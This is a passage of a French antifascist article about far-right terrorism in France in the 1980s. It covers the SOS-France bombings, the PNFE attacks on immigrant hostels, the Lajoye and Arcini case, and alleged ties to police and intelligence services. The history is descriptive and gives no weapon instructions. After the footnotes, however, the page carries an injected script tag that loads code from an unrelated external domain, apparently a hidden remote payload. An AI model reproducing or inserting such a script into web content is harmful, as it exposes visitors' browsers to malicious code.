<p>De fait, le terrorisme n’est plus depuis les années 1970 qu’un choix individuel et non de structure, même s’il s’est toujours trouvé des activistes nationalistes pour essayer de théoriser le recours à cette forme de lutte, de François Duprat à Giorgio Freda. Un certain nombre de cas d’étude sont par le passé venus illustrer cette situation et ouvrir également d’autres perspectives.</p>
<p>En mai 1986, quatre bombes éclatent à Marseille et Toulon contre des bâtiments fréquentés par des travailleurs immigrés à savoir un bar, une boucherie, un hôtel et un foyer. Bien que rappelant les méthodes du SAC utilisées dans les années 1970, ces attentats sont alors revendiqués par les «Commandos de France contre l’invasion maghrébine». En juin de la même année, une même revendication est formulée pour trois nouveaux attentats visant SOS-Racisme à Draguignan et Fréjus, à l’occasion de la fête nationale de l’association à Paris. Une dernière explosion vient conclure en août cette série d’actes criminels : elle met fin aux activités du commando puisque quatre militants meurent dans l’explosion de la bombe qu’ils allaient poser à Toulon contre SOS-Racisme. Vite identifiés, ils s’agissaient de Yvon Ricard, Raymond Segara, Henri Bahri et surtout Claude Noblia, quatre militants de SOS-France. Cette association avait été créée en février 1986 avec comme raison sociale d’«assister, défendre, poursuivre en justice tous ceux qui auront eu à subir des actes de discrimination, de haine ou de violences en raison de leur qualité de citoyens français». L’essentiel de son activité durant ce printemps 1986 avait consisté à poursuivre SOS-Racisme de sa vindicte, que ce soit sous forme de tracts ou de communiqués. La seule action notable avait été l’intervention d’une cinquantaine de militants de l’association et de la Maison du Para de Toulon contre un meeting d’Harlem Désir à Cogolin (Var) le 14 juillet 1986. Noblia est assez représentatif d’une certaine composante de la société méridionale. Rapatrié d’Algérie, ancien para et directeur de société, il rejoint assez vite le FN et est candidat pour ce parti à La Seyne-sur-Mer en février 1984, récoltant un peu plus de 4% des suffrages. Jugeant le FN trop mou sur la question de l’immigration, il monte une liste dissidente aux législatives de 1985 qui appelle à voter pour le candidat de droite au second tour, Charles Scaglia. Celui-ci, pour le remercier, le nomme alors administrateur de l’Office HLM. Mais Claude Noblia n’en continue pas moins ses activités racistes et fonde début 1986 l’association SOS-France. Ce militant est alors un pur condensé de l’extrême droite locale : proche du FN mais dans une version encore plus raciste, bénéficiant de la bienveillance de la droite parlementaire et finalement partisan de méthodes expéditives. Ce profil est une constante des années 1980 tout comme l’est l’implication de policiers : c’est un sous-brigadier qui prononce l’oraison funèbre des quatre militants décédés. Une partie de l’extrême droite locale refusera la thèse officielle de l’attentat qui se retourne contre ses auteurs et essaiera de prouver l’assassinat par des barbouzes. En vain.</p>
<p>Autre grosse vague d’attentats en 1988 avec l’entrée en scène de militants néo-nazis. Bien décidés à tenter une stratégie de déstabilisation des relations intercommunautaires, certains militants du Parti Nationaliste Français &amp; Européen (PNFE) décident en effet en 1988 de se lancer dans une série d’attentats dans le sud de la France. Atypiques dans leur origine, ces actions n’en sont pas moins meurtrières ; commises à Cannes en mai 1988 et à Cagnes-sur-Mer en décembre de la même année contre des foyers SONACOTRA, elles provoquent la mort d’un travailleur immigré ainsi que plus d’une dizaine de blessés. Dans les deux cas, la revendication est juive, sous le label OJC, Organisation Juive de Combat, qui avait attaqué le défilé du 8 mai en l’honneur de Jeanne d’Arc organisé chaque année par l’OEuvre française. Grâce à un «tuyau», l’enquête s’oriente assez rapidement vers le PNFE, scission du FN d’avril 1987, et ses dirigeants. Croyant infiltrer la police, le PNFE devint rapidement une annexe de celle-ci tant le nombre d’indicateurs y était important. Les pratiques du PNFE avaient de quoi inciter à cette surveillance, en particulier des stages sur le maniement des explosifs dont l’un mené par Nicolas Gouge et Gilbert Hervochon au château du Corvier<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_4_1" id="identifier_4_1" class="footnote-link footnote-identifier-link" title="Cf. REFLEXes n&deg;41, janvier 1994.">5</a></sup> début novembre 1988 ou sur les moyens de déjouer les techniques de surveillance policière.</p>
<p>Finalement, la police procède à une série d’arrestations qui commencent fin janvier 1989 avec Hervochon et Gouge. Le premier est une «figure» du milieu nationaliste méridional, à la fois par son philosémitisme et surtout son déséquilibre mental dont la paranoïa et l’attrait pour l’ésotérisme ne sont que des manifestations parmi d’autres. Nicolas Gouge est quant à lui un ancien militaire ayant servi en Afrique sous les ordres de Paul Barril. Les arrestations suivantes concernent des militants de base du PNFE impliqués dans l’attentat de Cagnes-sur-Mer comme Serge Bayoni, Georges Cassar et Philippe Lombardo, et des dirigeants du PNFE accusés d’association de malfaiteurs comme Claude Cornilleau, Francis Allouchery, Serge Lecanu, Philippe Caplain, Daniel Lenoir, Patrick Reynes et Daniel Sirizotti, ces quatre derniers étant policiers et membres de la FPIP<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_5_1" id="identifier_5_1" class="footnote-link footnote-identifier-link" title="F&eacute;d&eacute;ration Professionnelle Ind&eacute;pendante de la Police, class&eacute;e droite extr&ecirc;me.">6</a></sup>. En tout, ce sont 24 personnes qui sont arrêtées, emprisonnées et jugées pour 16 d’entre elles en septembre 1991. Mais les dirigeants du PNFE obtiendront dès janvier 1991 un non-lieu devant la Cour d’Appel d’Aix-en-Provence pour inculpation abusive… Le procès de l’attentat de Cagnes-sur-Mer débute à partir du 28 octobre 1991. Il fait apparaître le rôle prépondérant de Nicolas Gouge, en particulier pour la fourniture des explosifs dont il était un spécialiste. Hervochon est d’ailleurs acquitté et Nicolas Gouge condamné à 18 ans de prison. Mais le principal problème soulevé par ce procès et d’ailleurs non résolu est l’origine des armes. Durant toutes les audiences, les avocats de la défense ne rateront pas une occasion de suggérer que les attentats ont été télécommandés par les «services», accusant en particulier la gendarmerie d’avoir fourni le matériel nécessaire. Or cette accusation n’était pas que de pure forme puisque l’on sait à présent que les explosifs, en particulier de la pentrite, venaient de la DGSE<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_6_1" id="identifier_6_1" class="footnote-link footnote-identifier-link" title="Direction G&eacute;n&eacute;rale de la S&eacute;curit&eacute; Ext&eacute;rieure, environ 4000 agents dont une majorit&eacute; de civils m&ecirc;me si l&rsquo;autorit&eacute; de tutelle est militaire.">7</a></sup>. Le 29 septembre 1989, la police saisit un arsenal de cent kilos de divers explosifs et munitions sur le bateau de Michel Gouge, frère de Nicolas et ancien démineur de la Marine nationale, indicateur des Renseignements généraux ayant travaillé pour la DGSE . Cette affaire ne prend tout son sens qu’en janvier 2000 avec le procès de Huy Decloedt devant la 17e chambre du tribunal correctionnel de Paris. Il est reproché à ce policier des RG<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_7_1" id="identifier_7_1" class="footnote-link footnote-identifier-link" title="Renseignements G&eacute;n&eacute;raux, environ 3200 agents, charg&eacute;s de la s&eacute;curit&eacute; int&eacute;rieure de l&rsquo;&Eacute;tat et donc du renseignement politique et social.">8</a></sup>, ancien de la police judiciaire de Nice, d’avoir entreposé dans un garage un véritable arsenal composé d’explosifs, chargeurs, détonateurs… La particularité de cette affaire est que la quasi-totalité de ce stock saisi en 1994 est justement lié aux attentats du PNFE de 1989. Il aurait été entreposé de façon irrégulière à la PJ de Nice pendant des années avant d’être transporté dans une propriété privée fin 1993, le tout avec la bienveillante indifférence de la hiérarchie policière. Cela s’explique par le fait que H. Decloedt était le policier chargé de l’enquête sur les attentats Sonacotra. Persuadé que le PNFE disposait d’un stock d’armes et n’arrivant pas à mettre la main dessus, il finit par remonter jusqu’à Michel Gouge et, après accord des supérieurs de celui-ci à la DGSE durant l’été 1989, à obtenir de Gouge qu’il livre ce stock contre une condamnation mineure et surtout une préservation de la cache d’armes de la DGSE dont était tiré ce stock ! La quantité d’armes livrée par Gouge étant insuffisante et peu crédible, Decloedt aura malgré tout la possibilité de visiter la cache soi-disant à Antibes, dans laquelle Gouge avait toute latitude de puiser ce qu’il lui fallait pour ce qu’il voulait… Entre autres, pour son frère et le PNFE ! Les deux hommes ayant retiré trop de matériel, une partie ira sur le bateau de Gouge où il sera saisi, tandis qu’une autre sera conservée par Decloedt, ce qui lui vaudra son inculpation de 1994. Tristement rocambolesque ?</p>
<p><strong>Y’a de Lajoye</strong></p>
<p>Mais il est une affaire toute aussi exemplaire avec Michel Lajoye, affaire qui se situe chronologiquement entre celle de SOS-France en 1986 et celle du PNFE en 1988. Lajoye entre très tôt en politique en adhérant au FN au début des années 1980 alors qu’il est encore lycéen. En 1984, il rejoint l’OEuvre française et y fait la connaissance de son futur complice, Arcini. Celui-ci, malgré son appartenance au milieu nationaliste ultra, est artificier-démineur à la Sécurité civile de Caen. Lajoye s’intègre très vite au petit milieu de l’OEuvre en participant à ses repas et surtout ses stages paramilitaires. Il s’engage dans l’armée en 1985, rejoint le 5e Régiment d’Hélicoptères de Combat (RHC) de Pau et a très rapidement connaissance qu’il est repéré par la DPSD<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_8_1" id="identifier_8_1" class="footnote-link footnote-identifier-link" title="Direction de la Protection et de la S&eacute;curit&eacute; de la D&eacute;fense, environ 1600 agents sous autorit&eacute; militaire charg&eacute;s d&rsquo;assurer la s&eacute;curit&eacute; des forces arm&eacute;es.">9</a></sup> (ex-sécurité militaire) comme militant néo-nazi. Mais cela ne change rien à sa situation, et il devient brigadier-chef. En particulier, il est affecté en juillet 1985 sur la base même du 5e RHC où il intègre les services techniques, ce qui lui donne de fait accès aux stocks d’armes.</p>
<p>Fin mars 1986, la DPSD prend contact avec lui et il accepte son recrutement. Il est alors rapatrié en Normandie tout en restant attaché au 5e RHC et commence ses premières missions d’infiltration dans les groupes nationalistes ou nazis en avril 1986. Il est ensuite utilisé pour tenter une infiltration des GAL<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_9_1" id="identifier_9_1" class="footnote-link footnote-identifier-link" title="Groupe Antiterroriste de Lib&eacute;ration, structure barbouzarde mont&eacute;e par le gouvernement socialiste espagnol pour &eacute;liminer en territoire fran&ccedil;ais des militants basques soup&ccedil;onn&eacute;s de participer &agrave; l&rsquo;ETA.">10</a></sup> à l’automne 1986 mais sabote l’opération par sympathie pour les «Galeux». Il est alors en situation de déserteur et est arrêté en janvier 1987 lors d’un simple contrôle d’identité mais alors qu’il est en possession dans sa voiture de grenades, fusil de guerre et talkies. Ce stock devait servir à mener une action avec Arcini. Il est interrogé durant sa garde à vue par des militaires de la DPSD et des policiers des RG et est alors condamné en août 1987 à deux ans de prison dont un avec sursis. Pendant sa détention, Arcini continue seul et commet deux attentats au pistolet, l’un en mars 1987 contre un bar (un blessé) et l’autre en juin 1987 contre le propriétaire d’une épicerie (un mort). Le point commun entre ces deux actions est l’origine arabe et immigrée des propriétaires et leur mauvaise réputation. Arcini, mis à part un petit interrogatoire, n’est pas inquiété alors même que la PJ de Caen sait qu’il est l’auteur des deux attentats. Dès sa libération en octobre 1987, Lajoye reprend contact avec Arcini et celui-ci persuade Lajoye de le rejoindre dans sa lutte. Il doit faire sa première action seul, à l’explosif, et Arcini lui suggère un café arabe du Petit-Quevilly. Le 20 novembre, Lajoye accède à la cache d’armes d’Arcini dans les locaux de la Sécurité civile de Caen, cache qui contient fusils mitrailleurs, explosifs et même missiles sol-air ! Il fabrique deux bombes dont l’une est une bombe-test qu’il essaie le 23 novembre dans un blockhaus et qui fonctionne parfaitement. La bombe est posée le 30 novembre et explose mais sans faire de blessés. Le 7 décembre, Arcini est convoqué par la PJ de Caen car sa voiture ressemble à celle qui est recherchée parce qu’elle a été aperçue par les témoins de l’attentat. La version officielle veut qu’il se soit enfui lors de la perquisition que deux inspecteurs de la PJ allaient mener chez lui, et Lajoye le retrouve le 9 décembre en train de rejoindre leur planque. Ils partent au Havre et sont arrêtés par le RAID le 10 décembre.</p>
<p>Cette affaire pose de multiples questions, entre autres sur le rôle des autorités militaires et policières, ces dernières ayant multiplié les faux témoignages lors du procès des deux hommes fin juin 1990, après la profanation de Carpentras, et sur le rôle d’Arcini dans l’engagement de Lajoye et avant leur arrestation.</p>
<p>Depuis deux ou trois ans, une petite campagne de soutien à Michel Lajoye<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_10_1" id="identifier_10_1" class="footnote-link footnote-identifier-link" title="Lui-m&ecirc;me a r&eacute;dig&eacute; un m&eacute;moire fr&eacute;quemment r&eacute;actualis&eacute;, dans lequel il essaie de d&eacute;monter le coup fourr&eacute; dans lequel il serait tomb&eacute;. Y figure en bonne place une lettre de soutien de Carlos, dont Emmanuel Ratier a fait des gorges chaudes dans sa lettre Faits &amp; Documents.">11</a></sup> s’est développée dans les milieux nationalistes, campagne qui s’est traduite par une pétition et des articles, en particulier dans les revues L’Autre Histoire de Tristan Mordrel, Résistance ! d’Unité radicale, de multiples fanzines et des journaux hebdomadaires nationalistes comme Rivarol ou La Une. On peut également relever une demande d’intervention auprès de Christine Boutin, celle-ci s’étant engagée pour la libération de Patrick Henry. Dans tous les cas, il s’agit pour ces groupes ou journaux nationalistes d’obtenir la grâce présidentielle, Lajoye ayant été condamné à la réclusion criminelle à perpétuité assortie d’une peine de sûreté de 18 ans. Même si ce n’est pas l’objet de cet article, et à titre personnel, nous pouvons émettre un ou deux commentaires sur cette peine. Outre notre hostilité à la prison comme outil rédempteur de la société, on remarquera que la non-distinction par la justice du délit et de l’intention de commettre un délit a bon dos et que Lajoye comme militant politique a plus été condamné pour un délit raté que trois chauffards massacrant une famille entière sur l’autoroute A1. CQFD.</p>
<p><strong>Et maintenant, Unité radicale,</strong></p>
<p>PNFE des années 2001 ?</p>
<p>Revenons à présent, à la lumière de ce qui précède, à ce qui constituait notre interrogation de départ. Depuis quelques mois, une thèse se répand dans les milieux nationalistes sur la manipulation des militants ci-dessus évoqués et qui auraient été poussés à commettre leurs attentats par les services spéciaux de l’État français. Manipulation ? La thèse sent tellement bon la théorie du complot que l’on pourrait facilement la ranger parmi les lubies habituelles des milieux nationalistes. Nous pensons que ce serait un tort. Simplement, la situation est sans doute à la fois plus simple et plus compliquée que la manipulation. Il est clair que l’opinion émise par la revue Révision<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_11_1" id="identifier_11_1" class="footnote-link footnote-identifier-link" title="n&deg;93, avril 2000, revue n&eacute;gationniste anim&eacute;e par Alain Guionnet.">12</a></sup> nous semble parfaitement juste : «L’État ressemble à un gruyère institutionnel, dont les trous sont autant de passe-droits pour les polices et les services spéciaux. Il existe deux polices politiques qui opèrent en France, les RG et la DPSD, ainsi que deux services spéciaux, la DGSE et la DST<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_12_1" id="identifier_12_1" class="footnote-link footnote-identifier-link" title="Direction de la Surveillance du Territoire, environ 1500 agents sous tutelle du minist&egrave;re de l&rsquo;Int&eacute;rieur, charg&eacute;s de pr&eacute;venir les activit&eacute;s men&eacute;es ou soutenues en France par des puissances &eacute;trang&egrave;res. Mais la DST fait &eacute;galement du renseignement politique, en surveillant le FN par exemple.">13</a></sup>. À cela s’ajoute que la DGSE veut aussi à présent jouer un rôle de police politique sur le territoire national, alors même que chacune de ces institutions entend bénéficier de prérogatives vis-à-vis de la justice, de passe-droits l’autorisant à commettre des crimes et délits en toute impunité. (…) La DPSD et la DGSE jouissent d’un pouvoir régalien qu’elles ne se privent pas d’exercer.» De fait, il n’y a sans doute pas eu manipulation des militants nationalistes pour commettre ces attentats mais manipulation tout court. Les milieux nationalistes sont fascinés par le domaine militaire et la violence militante. Ils sont donc les plus aptes à pouvoir plus ou moins de leur plein gré servir de supplétifs aux services de sécurité, supplétifs à l’extérieur sous la forme du mercenariat, supplétifs à l’intérieur sous la forme d’indicateurs et de commis aux basses oeuvres. En échange, les institutions leur laissent une certaine marge de manoeuvre qui leur permet parfois de «déraper», et c’est sans doute ce qui s’est passé dans les affaires des années 1986-1989. L’encadrement frontiste des années 1990 a éloigné ces possibilités de dérapage, le chef du DPS, Bernard Courcelle, étant lui-même un très bon exemple de la collaboration avec la DGSE.</p>
<p>Aujourd’hui, nous sommes revenus à une situation qui présente de multiples points communs avec la décennie 1980. Le terrain s’y prête, comme en témoignent la déshérence politique de nombreux jeunes militants fascinés par l’action violente ou la radicalisation ethnique et raciste d’une partie du milieu nationaliste et en particulier Unité radicale. Le slogan «Libérez Lajoye !» a d’ailleurs connu un franc succès lors de la manifestation du 1er mai 2001. Mais on peut également prendre comme témoignage de cette réalité ce manuel de fabrication d’explosifs qui circule actuellement dans les milieux boneheads et est suffisamment explicite pour être mis en application<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_13_1" id="identifier_13_1" class="footnote-link footnote-identifier-link" title="Se reporter &agrave; l&rsquo;article suivant pour plus de pr&eacute;cisions.">14</a></sup>… Le risque existe et il n’est pas dit que le caractère purement velléitaire du milieu nationaliste empêche longtemps le passage à l’acte. C’est sans doute pour cette raison que ponctuellement la justice fait son oeuvre, comme dans les Vosges par exemple où elle a tiré prétexte d’une soirée privée pour arrêter à l’automne dernier des militants devenus trop tapageurs, tel Cédric Bégin qui ne se cachait pas de posséder des explosifs. À tous points de vue, nul ne peut prédire l’avenir et les militants révolutionnaires doivent continuer à avoir à l’esprit l’existence de ce risque en comptant sur l’autodéfense plutôt que sur l’État !</p>
<ol class="footnotes"><li id="footnote_0_1" class="footnote">Jusqu’à Nouvel Ordre, dont quatre numéros sont sortis et qui ne semble pas devoir continuer à exister en ce printemps 2001.</li><li id="footnote_1_1" class="footnote">Fête des Bleu Blanc Rouge, organisée chaque année par le FN fin septembre.</li><li id="footnote_2_1" class="footnote">Appel immédiatement rejeté par les militants d’Action directe et plus particulièrement Régis Schleicher et Jean-Marc Rouillan par le biais d’articles de presse écrits depuis leur lieu de détention.</li><li id="footnote_3_1" class="footnote">L’une des organisations pieds-noires anti-indépendantistes.</li><li id="footnote_4_1" class="footnote">Cf. REFLEXes n°41, janvier 1994.</li><li id="footnote_5_1" class="footnote">Fédération Professionnelle Indépendante de la Police, classée droite extrême.</li><li id="footnote_6_1" class="footnote">Direction Générale de la Sécurité Extérieure, environ 4000 agents dont une majorité de civils même si l’autorité de tutelle est militaire.</li><li id="footnote_7_1" class="footnote">Renseignements Généraux, environ 3200 agents, chargés de la sécurité intérieure de l’État et donc du renseignement politique et social.</li><li id="footnote_8_1" class="footnote">Direction de la Protection et de la Sécurité de la Défense, environ 1600 agents sous autorité militaire chargés d’assurer la sécurité des forces armées.</li><li id="footnote_9_1" class="footnote">Groupe Antiterroriste de Libération, structure barbouzarde montée par le gouvernement socialiste espagnol pour éliminer en territoire français des militants basques soupçonnés de participer à l’ETA.</li><li id="footnote_10_1" class="footnote">Lui-même a rédigé un mémoire fréquemment réactualisé, dans lequel il essaie de démonter le coup fourré dans lequel il serait tombé. Y figure en bonne place une lettre de soutien de Carlos, dont Emmanuel Ratier a fait des gorges chaudes dans sa lettre Faits &amp; Documents.</li><li id="footnote_11_1" class="footnote">n°93, avril 2000, revue négationniste animée par Alain Guionnet.</li><li id="footnote_12_1" class="footnote">Direction de la Surveillance du Territoire, environ 1500 agents sous tutelle du ministère de l’Intérieur, chargés de prévenir les activités menées ou soutenues en France par des puissances étrangères. Mais la DST fait également du renseignement politique, en surveillant le FN par exemple.</li><li id="footnote_13_1" class="footnote">Se reporter à l’article suivant pour plus de précisions.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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